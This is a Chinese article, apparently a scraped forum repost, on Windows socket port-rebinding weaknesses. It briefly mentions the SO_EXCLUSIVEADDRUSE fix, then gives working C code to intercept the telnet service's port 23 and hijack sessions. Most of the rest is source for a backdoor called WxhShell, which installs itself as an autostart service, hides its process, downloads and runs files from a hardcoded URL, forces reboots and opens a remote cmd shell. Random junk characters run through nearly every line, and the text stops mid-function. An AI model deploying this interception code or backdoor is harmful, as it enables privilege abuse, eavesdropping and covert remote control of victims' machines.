在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`eMZhYo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`NNP<z+\ ryL1<u
~ saddr.sin_family = AF_INET;
S=_u3OH0 cXPpxRXBD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.; F<X\_ ~_fc=^o bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wa8jr5/k" a9-Mc5^'n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N1Vj;- A0<g8pv 这意味着什么?意味着可以进行如下的攻击:
$@L;j k|/VNV( =0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
nQ\` ]_C E7L>5z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\>6*U r ,)1C"' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
YB"gLv? TcaW'&(K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6Qkjr</ ,`bW(V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
},8|9z#pyB NftnbsTmy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
"z{/*uM2< Cw,a)XB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/x??J4r0 yv4x.cfI2W #include
\6|y~5Hw{r #include
1m~|e.g_'` #include
Mt4 #include
3Y)&[aj DWORD WINAPI ClientThread(LPVOID lpParam);
}_nBegv int main()
]`$6=)_X {
IU8zidn& WORD wVersionRequested;
$VmV>NZ DWORD ret;
F_qApyU,7 WSADATA wsaData;
Ak?9a_f BOOL val;
M2Nh3ijr SOCKADDR_IN saddr;
f SkC>mWv SOCKADDR_IN scaddr;
h"1}j'2>@ int err;
Fqeqn[, SOCKET s;
}k VC]+ SOCKET sc;
}dN\bb{# int caddsize;
tx5bmF;b) HANDLE mt;
".>#Qp% DWORD tid;
BQ6$T& wVersionRequested = MAKEWORD( 2, 2 );
p6- //0qb err = WSAStartup( wVersionRequested, &wsaData );
gX{j$]^6G8 if ( err != 0 ) {
Q#% LIkeq printf("error!WSAStartup failed!\n");
SSI> +A return -1;
<.ZIhDiEl }
?Z{/0X)]| saddr.sin_family = AF_INET;
%$&eC ?ES{t4" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>V^8<^?G R|RGoGE6g saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MGF!ZZ\ saddr.sin_port = htons(23);
JP Dxzp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lf(+]k30 {
wrkw,H printf("error!socket failed!\n");
P'Y(f!% return -1;
u0wu\ }
j
EbmW*
val = TRUE;
1|p\rHGd //SO_REUSEADDR选项就是可以实现端口重绑定的
<sC(a7i1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fQ 9af)d {
)zWu\JRp printf("error!setsockopt failed!\n");
(Mfqzy return -1;
TIp\- }
.uA
O.< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%`$bQU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>J9Qr#=H2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/uWUQ#9 U9]&KNx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
YMw,C:a4 {
4m\Cc_:jO ret=GetLastError();
@lzq`SzM printf("error!bind failed!\n");
F[coa5 return -1;
eYv^cbO@: }
Tcy9oYh!Pn listen(s,2);
D!* SA while(1)
CRo@+p10 {
gkK(7=r% caddsize = sizeof(scaddr);
:tV"uWZFU //接受连接请求
PlCw,=K 8f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2_Lu0Yrg if(sc!=INVALID_SOCKET)
Lj /^cx {
eV_",W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
LiEEQ if(mt==NULL)
<RxxGD {
9+(b7L printf("Thread Creat Failed!\n");
%{ U (y# break;
@^0}w k }
:LuA6 }
&v]xYb)+< CloseHandle(mt);
CM~x1f *v }
f:8!@,I closesocket(s);
-qSGa;PJ WSACleanup();
@[D5{v)S return 0;
C,ldi"| }
lGet)/w;c DWORD WINAPI ClientThread(LPVOID lpParam)
"U9e)a0v {
~e|E5[-i SOCKET ss = (SOCKET)lpParam;
<YCjo[(~ SOCKET sc;
h/5V~ :) unsigned char buf[4096];
ZXhNn< SOCKADDR_IN saddr;
vmxS^_I long num;
<DMm
[V{ DWORD val;
*[>{9V DWORD ret;
~&,S xQT //如果是隐藏端口应用的话,可以在此处加一些判断
m!INbIh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`_&vvJPn@! saddr.sin_family = AF_INET;
K
z^.v` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
nVpDjUpN saddr.sin_port = htons(23);
wI7.M
Gt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yTc&C)Jba {
Z2;~{$&M+ printf("error!socket failed!\n");
FS7D return -1;
ZHRMW'Ne }
3Q&@l49q val = 100;
kJ* N`= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
An]Vx<PD {
3
JlM{N6+ ret = GetLastError();
P{RGW.Ci@ return -1;
k(`> (w }
e0C_ NFS+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u$qasII {
VaonG]Ues ret = GetLastError();
Yi-,Pb?
return -1;
,jnaa (n }
JrxQ.,*i if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:MYLap&L& {
zW ?=^bE printf("error!socket connect failed!\n");
;Gp9
? 0 closesocket(sc);
}w=|"a|, closesocket(ss);
a'q&[08 return -1;
55b/giX }
Ct(^nn$A while(1)
"MPS&OK {
=g%<xCp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8&hxU@T~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
AO-~dV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9G1ZW=83 num = recv(ss,buf,4096,0);
P(\x. d: if(num>0)
vqF=kB"P send(sc,buf,num,0);
F.Bij8\ else if(num==0)
}L`Z<h*H break;
X&Ospl@H num = recv(sc,buf,4096,0);
<UIE-# if(num>0)
>y!R}`&0^t send(ss,buf,num,0);
>TGc0 z+ else if(num==0)
)eX{a/Be break;
xxgdp. ( }
5HB* closesocket(ss);
5rtE/{A closesocket(sc);
RdjoVCf return 0 ;
\+
Ese-la }
7OPRf9+o xyV7MW\?w 1k%HGQM{ ==========================================================
Ea[SS@'R C
szZr>Z 下边附上一个代码,,WXhSHELL
1vh[sKv9% >2'A~?% ==========================================================
A/ Sj>Y1j N7q6pBA"E #include "stdafx.h"
B90fUK2g Y 6jgAq #include <stdio.h>
i:&$I= #include <string.h>
e=!sMWx6 #include <windows.h>
"?_af #include <winsock2.h>
Q{
g{ #include <winsvc.h>
X=jD^"- #include <urlmon.h>
;wHyX)&X$ ey:%Zy
[~ #pragma comment (lib, "Ws2_32.lib")
K,bX<~e5 #pragma comment (lib, "urlmon.lib")
v# fny _GoFwVO #define MAX_USER 100 // 最大客户端连接数
Lq#!}QcW= #define BUF_SOCK 200 // sock buffer
,{'ZP_ #define KEY_BUFF 255 // 输入 buffer
hBDmC_\~ !%D;H ~mQ #define REBOOT 0 // 重启
$m-@ICG# #define SHUTDOWN 1 // 关机
fndH]Yp gd0a,_`M #define DEF_PORT 5000 // 监听端口
\Jwc[R&x 02[*b #define REG_LEN 16 // 注册表键长度
TD/ 4lL~(x #define SVC_LEN 80 // NT服务名长度
Wq25, M' ayg^js2, // 从dll定义API
V>4v6)N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vc8w[oS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
B;<zA' 1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
a 4?c~bs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
UD&pL'{s e[QEOx/-h2 // wxhshell配置信息
HSACaTVK struct WSCFG {
/W{^hVkvC int ws_port; // 监听端口
jU{~3Gn? char ws_passstr[REG_LEN]; // 口令
94lz?-j int ws_autoins; // 安装标记, 1=yes 0=no
~'Korxa char ws_regname[REG_LEN]; // 注册表键名
i66/2BUh. char ws_svcname[REG_LEN]; // 服务名
S O`b+B char ws_svcdisp[SVC_LEN]; // 服务显示名
AgOti]`aR char ws_svcdesc[SVC_LEN]; // 服务描述信息
F_iZ|B char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%YG[?"P' int ws_downexe; // 下载执行标记, 1=yes 0=no
N.V5>2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$%1oZ{&M char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T'5MO\ uOx"oR| };
cU "uKR BtF7P}:MGf // default Wxhshell configuration
Q^'xVS_. struct WSCFG wscfg={DEF_PORT,
CSzu$Hnq "xuhuanlingzhe",
N8*QAekN 1,
yi<H }& "Wxhshell",
q^}iXE~ "Wxhshell",
G,b*Qn5# "WxhShell Service",
dFk$rr>q "Wrsky Windows CmdShell Service",
#_'^oGz` "Please Input Your Password: ",
h\|T(597. 1,
|4Os_*tRKU "
http://www.wrsky.com/wxhshell.exe",
d-I&--"ju "Wxhshell.exe"
lgefTT GX) };
<,t6A?YoMP o}L\b,]) // 消息定义模块
Vo(bro4ZQi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5QG?*Z~?7 char *msg_ws_prompt="\n\r? for help\n\r#>";
i&L!?6 5-f char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=pb ru=/ char *msg_ws_ext="\n\rExit.";
(I#3![q char *msg_ws_end="\n\rQuit.";
=]L ALw char *msg_ws_boot="\n\rReboot...";
fHgvh&FU char *msg_ws_poff="\n\rShutdown...";
CeUC[cUQU char *msg_ws_down="\n\rSave to ";
|Syulus WFfn:WSWU char *msg_ws_err="\n\rErr!";
: !wt/Y char *msg_ws_ok="\n\rOK!";
<SSkCw rrs0|= char ExeFile[MAX_PATH];
pvdCiYo1r int nUser = 0;
50Ov>(f@7 HANDLE handles[MAX_USER];
/!pJ" @ int OsIsNt;
\[]4rXZN0 N}'2GBqfU4 SERVICE_STATUS serviceStatus;
I$ ?.9&.& SERVICE_STATUS_HANDLE hServiceStatusHandle;
m :2A[H+ p|w0
i[hc // 函数声明
D1wONss int Install(void);
I(qFIV+HR int Uninstall(void);
"8\2w]" int DownloadFile(char *sURL, SOCKET wsh);
_rW75n=3b7 int Boot(int flag);
d M;v39 void HideProc(void);
.|KBQMI int GetOsVer(void);
/Uni6O)oc int Wxhshell(SOCKET wsl);
tPFj[Y~Iy void TalkWithClient(void *cs);
eI/5foA int CmdShell(SOCKET sock);
[I(
Yn int StartFromService(void);
(~?p`g+I.P int StartWxhshell(LPSTR lpCmdLine);
"6i3'jc` OgCz[QXr_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*~`BG5w VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ed1y%mR> CWSc #E // 数据结构和表定义
UYhxgPGsj SERVICE_TABLE_ENTRY DispatchTable[] =
,Y7QmbX^ {
5jsZJpk$ {wscfg.ws_svcname, NTServiceMain},
Fzy5k?R {NULL, NULL}
q!YAA\'31 };
Fm[3Btn ]3L/8]: // 自我安装
MAL;XcRR int Install(void)
5I/lF oy7 {
fN6n2*wr( char svExeFile[MAX_PATH];
pL,l HKEY key;
`r&]Ydu: strcpy(svExeFile,ExeFile);
vywpX^KPv 9<5S!?JL // 如果是win9x系统,修改注册表设为自启动
pL2{zW`FDh if(!OsIsNt) {
nPUD6<bF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#cqI0ny?G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I
MG^L RegCloseKey(key);
/])P{"v$^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<sls1, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0CK3jdZ+X RegCloseKey(key);
k\-h-0[| return 0;
HmbQL2 }
kG`&Z9P }
L.: 8qY }
XmN8S_M>v else {
;KT5qiqYH &W{v(@ // 如果是NT以上系统,安装为系统服务
~,.;2K73 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#g<6ISuf if (schSCManager!=0)
k&17 (Tv$ {
Sv!JA#Ag SC_HANDLE schService = CreateService
==EB\>g| (
LHSbc!Y'. schSCManager,
JB'XH~4H wscfg.ws_svcname,
W"&,=wvg2 wscfg.ws_svcdisp,
}d%Fl}.Ez SERVICE_ALL_ACCESS,
9^@)R
ED SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E@4/<;eKK SERVICE_AUTO_START,
i ;^Ya SERVICE_ERROR_NORMAL,
$CZ'[`+ svExeFile,
\r"gqv)^ NULL,
"egpc*|] NULL,
$dG:29w NULL,
U_WO<uhC NULL,
IRTD(7"oyp NULL
wZWAx );
pj7v{H + if (schService!=0)
1:J+`mzpl {
z7TyS.z CloseServiceHandle(schService);
tTWEhHQ` CloseServiceHandle(schSCManager);
'UM *7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
d{Owz&PL strcat(svExeFile,wscfg.ws_svcname);
A#Y:VavQ? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.h(iyCxP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<LN7+7} RegCloseKey(key);
%*#+(A"V return 0;
qQ8+gZG$R }
ABcB-V4 }
_PSOT5{ CloseServiceHandle(schSCManager);
.br6x^\< }
2OQ\ z;s }
M{4XNE]m l z-I[*bA return 1;
4issj$ }
8e1Z:axn0 x_r*<?OZ // 自我卸载
hw(\3h() int Uninstall(void)
lnRL^ } {
QNH3\<IS HKEY key;
c=X+uO- m"QDc[^Ge if(!OsIsNt) {
Xt
+9z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q!_d6-*u RegDeleteValue(key,wscfg.ws_regname);
(>NZYPw^3 RegCloseKey(key);
4]6-)RHFB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+}PN+:yV RegDeleteValue(key,wscfg.ws_regname);
Je}0KW3G9L RegCloseKey(key);
@_1cY#! return 0;
m.<u!MI }
Qxk & J }
'u~0rMe4}) }
gtePo[ZH.P else {
B9Hib1<8 hCS} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3#Bb4\_v if (schSCManager!=0)
9zY6hh** {
SZ}=~yoD( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
k81%$E if (schService!=0)
5DVYHN9c| {
V@[C=K if(DeleteService(schService)!=0) {
{Wu[e,p CloseServiceHandle(schService);
]qxl^Himq CloseServiceHandle(schSCManager);
Dp!91NgB p return 0;
[c;#>UQMf }
is~2{: CloseServiceHandle(schService);
w
?*eBLJ(G }
gY8$Rk
% CloseServiceHandle(schSCManager);
.ws86stFSb }
~clX2U8u` }
Rc
&m4|cw7 C511hbF return 1;
G? XS-oSv }
O1bW, n( t"Ah]sD // 从指定url下载文件
cvG*p|| int DownloadFile(char *sURL, SOCKET wsh)
Id&e' {
ex6R=97uA HRESULT hr;
hzRKv6 char seps[]= "/";
E&eY79 char *token;
;j7G$s9 char *file;
.6xMLo,R char myURL[MAX_PATH];
m uy^>2p char myFILE[MAX_PATH];
Fj]06~u qR_>41JU" strcpy(myURL,sURL);
^'a#FbMtt token=strtok(myURL,seps);
bwH[rT!n while(token!=NULL)
WTJ{M$ {
p4*L}Q file=token;
&*%x]fQ@ token=strtok(NULL,seps);
x~vNUyEN) }
GEA1y^b6" g,rmGu3v GetCurrentDirectory(MAX_PATH,myFILE);
*BdH
&U strcat(myFILE, "\\");
y.c6r> } strcat(myFILE, file);
n:P:im?,y* send(wsh,myFILE,strlen(myFILE),0);
0Q`v#$?": send(wsh,"...",3,0);
-z0;4O (K] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G}9f/$'3 if(hr==S_OK)
>6HGh#0(p return 0;
a4*976~![ else
p6R+t]oH return 1;
mO;QT I<ohh`. }
%^L{K[} w.a9}GC // 系统电源模块
,(pp+hNq int Boot(int flag)
3h d30o {
`Y5LAt: HANDLE hToken;
-(]CFnD_N TOKEN_PRIVILEGES tkp;
f!`?_ N)GHQlgH if(OsIsNt) {
G(TFv\`vH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
b&mA1w[W] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#Pp:H/b tkp.PrivilegeCount = 1;
Rd5_{F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
66,(yxg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}b&lHr'Uw if(flag==REBOOT) {
PPr Pj^%z= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
75zU,0"j return 0;
V<J1.8H
}
,1#? 0q else {
LwK]fFtu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o_BTo5] return 0;
[Hx(a.,d }
2&>t,;v@ }
4,z|hY_*t else {
VMRfDaO9 if(flag==REBOOT) {
!>n!Q*\(Ov if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b4i=%]v8 return 0;
hdHz", ) }
6]Hwr_/tk else {
45sEhs[$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
CqlxE/| return 0;
Y?NL|cW4 }
9hfg/3t(' }
suwR`2 "!V`_ S; return 1;
kpIn_Ea }
Z%]K,9K G?'^"ae"Z // win9x进程隐藏模块
gVfFEF. void HideProc(void)
,3Q~X$f {
jRU:un4 6dR+qJa6i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>5Yn`Fc5 if ( hKernel != NULL )
!SW0iq[7j {
<@KIDZYC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kt2_WW[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
XNWtX-[^@ FreeLibrary(hKernel);
e^>>"tr }
['=O>YY V%r`v%ktF return;
/DHgwpJ }
hbH~Ya=+S *v+l,z4n // 获取操作系统版本
,bl }@0A int GetOsVer(void)
]yf?i350 {
kk-<+R2 OSVERSIONINFO winfo;
cZNcplt8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
S>~f. GetVersionEx(&winfo);
wWb>V&3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
a+cMXMf return 1;
a31e.36g else
!Ud'(iGa return 0;
l5{60$g }
UrizZ5a w5HIR/kP // 客户端句柄模块
m7'<k1#"Y int Wxhshell(SOCKET wsl)
UJI2L-;Ul {
6MT
(k: SOCKET wsh;
sX%n` L struct sockaddr_in client;
B@&sG
5ES DWORD myID;
Bdw33z*m djOjd, while(nUser<MAX_USER)
7z4k5d<^_ {
Kq3c Kp4 int nSize=sizeof(client);
\dtiv& x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-<s Gu9 if(wsh==INVALID_SOCKET) return 1;
^el+ej/= eUA]OF@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>o?v[:u* if(handles[nUser]==0)
~V8z%s@ closesocket(wsh);
Ds">eNq else
kP
]Up&' nUser++;
RhE~-b[X }
5CFNBb%Xy WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Qu61$! nnv|GnQST return 0;
{JgY-#R?{( }
gm-[x5O" d&j // 关闭 socket
ukSv70Ev void CloseIt(SOCKET wsh)
Jp=fLo 9 {
xQu|D>kv87 closesocket(wsh);
'ZuS nUser--;
y!#-[K: ExitThread(0);
rL{R=0 }
N y'\Q"Y] l*1|B3#m! // 客户端请求句柄
k7CKl;Fck void TalkWithClient(void *cs)
' P?h?w^T {
faQmkO !RI _Uph SOCKET wsh=(SOCKET)cs;
|3' char pwd[SVC_LEN];
I%3[aBz4 char cmd[KEY_BUFF];
U N9hZ>9 char chr[1];
7)lEZJK&T int i,j;
m-Eh0Zl>Z dz_S6o ] while (nUser < MAX_USER) {
R*[sO*h\k l[/`kK if(wscfg.ws_passstr) {
_ox+5?> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b7QE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&jP1Q3 //ZeroMemory(pwd,KEY_BUFF);
cpQ5F;FI i=0;
xLW$>;kI while(i<SVC_LEN) {
R /+$ : |\,OlX, // 设置超时
&xnQLz:# fd_set FdRead;
vF27+/2+R struct timeval TimeOut;
XnyN*}8 FD_ZERO(&FdRead);
QKG3>lU FD_SET(wsh,&FdRead);
')"+ a^c TimeOut.tv_sec=8;
CvoFt=c$jE TimeOut.tv_usec=0;
npdljLN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
928_e)V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
U)J5K '$9o(m# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
YWFE*wQ! pwd
=chr[0]; ^jL '*&l
if(chr[0]==0xd || chr[0]==0xa) { R
BYhU55B
pwd=0; |6E_N5~
break; o`bc/3!
} 2d&F<J<sU
i++; ;k <dp7^
} 80=0S^gEZ
j6m;03<|
// 如果是非法用户,关闭 socket K zWo}tT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'R7 \
} V@
>(xe7
n#(pT3&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V(7,N(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z#*.9/y\^R
.xRdKt!p
while(1) { y\?ey'o
2cMCZuO
ZeroMemory(cmd,KEY_BUFF); r_T)|||v
R/vHq36d
// 自动支持客户端 telnet标准 EW
`hL~{
j=0; 6Tl6A>%s
while(j<KEY_BUFF) { (> al-vZ6A
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lzEynMO+
cmd[j]=chr[0]; qe0 D[L
if(chr[0]==0xa || chr[0]==0xd) { M8/a laoT
cmd[j]=0; `/8@Fj
break; u^Q`xd1
} '75T2Ud
j++; i>m%hbAk
} %*
"+kwZ
>i/jqT/
// 下载文件 q/i2o[f'n
if(strstr(cmd,"http://")) { b($hp%+yJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |+#Zuq
if(DownloadFile(cmd,wsh)) zxyl+tU &
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tgdy;?
else G@8)3 @
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N^L@MR-
} 8x{Owj:Q
else { .biq)Le
9K+>;`
switch(cmd[0]) { 2\xw2VQ@P
~7]V^tG
// 帮助 *8}b&4O~
case '?': { t-\+t<;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q0U~s\<
break; wI%M3XaBws
} B8@mL-Z-;
// 安装 i^s Vy
case 'i': { S6~y!J6Ok4
if(Install()) nS+Rbhs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:S qMf
else ":!$Jnj,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#rP$LSYC
break; -&Rv=q>
} {;yO3];Hqw
// 卸载 *;<fh,wOk
case 'r': { KWJVc
`
if(Uninstall())
WTSh#L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yaUtDC.|
else \v2!5z8|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E>~R P^?Uz
break; n$iX6Cd
} =?i?-6M
// 显示 wxhshell 所在路径 &W<7!U:2m
case 'p': { #ArrQeO 5_
char svExeFile[MAX_PATH]; 6h:QSVfx
strcpy(svExeFile,"\n\r"); n
Bu!2c
strcat(svExeFile,ExeFile); ?@64gdlwq
send(wsh,svExeFile,strlen(svExeFile),0); =2R4Z8G
break; ":]Xr!e
} ^m\o(R
// 重启 Kd\0nf6
case 'b': { 1/DtF
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j\y;~
V
if(Boot(REBOOT)) Ymut]`dX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @C;1e7
else { +f3Rzx]
closesocket(wsh); opcanl9pSW
ExitThread(0); Hm-#Mpw
} Xoj"rR9|
break; !>`Q]M`
} mF7Ak&So^
// 关机 G~9m,l+
case 'd': { ]2AOW}=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I Xc `Ec
if(Boot(SHUTDOWN)) 0z8(9DlTc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MB]E[&Q!
else { 8lyIL^
closesocket(wsh); 'xW=qboOp
ExitThread(0); ;UdM8+^/V]
} B,>02EZ
break; V DFgu
} ^C>kmo3J
// 获取shell J
En jc/
case 's': { %cF`x_h[j
CmdShell(wsh); .D*Qu}
closesocket(wsh); -^p{J
TB+
ExitThread(0); DE(XSzX
break; ]*0zir/
} [|nK5(e9
// 退出 E7uIur=g!
case 'x': { ]c(FgYc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +R'8$
CloseIt(wsh); PRhC1#
break; aV;|2}q "
} sY]J!"
// 离开 2yN!yIPR
case 'q': { 15:9JVH3D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 66=[6U9 *
closesocket(wsh); %4~"$kE
WSACleanup(); Jqoo&T")
exit(1); Yh<F-WOo2
break; )nm+_U
} 4n,&,R r#
} K?.~}82c
} &PMQ]B
[gW eD
// 提示信息 :jiEn
y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fis!MMh.$
} Ycr3$n]e
} VU3RFl
HE}0_x.
return; mxlh\'b
} Xaz "!
XYcZ;Z 9:
// shell模块句柄 JVAyiNIH>M
int CmdShell(SOCKET sock) :H}iL*
{ (KQLh,h7
STARTUPINFO si; bT:u|/I
ZeroMemory(&si,sizeof(si)); >8Oa(9 n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S_lGrk\j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fa("Gok[
PROCESS_INFORMATION ProcessInfo; :6Ri% Nb
char cmdline[]="cmd"; /|EdpHx0
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4D65VgVDM
return 0; 1*O|[W
} 0]d;)_`@
[YvS#M3T
// 自身启动模式 M9"Bx/
int StartFromService(void) U9
iI2$
{ H,>
}t
S
typedef struct d)
-(C1f
{ jcCAXk055
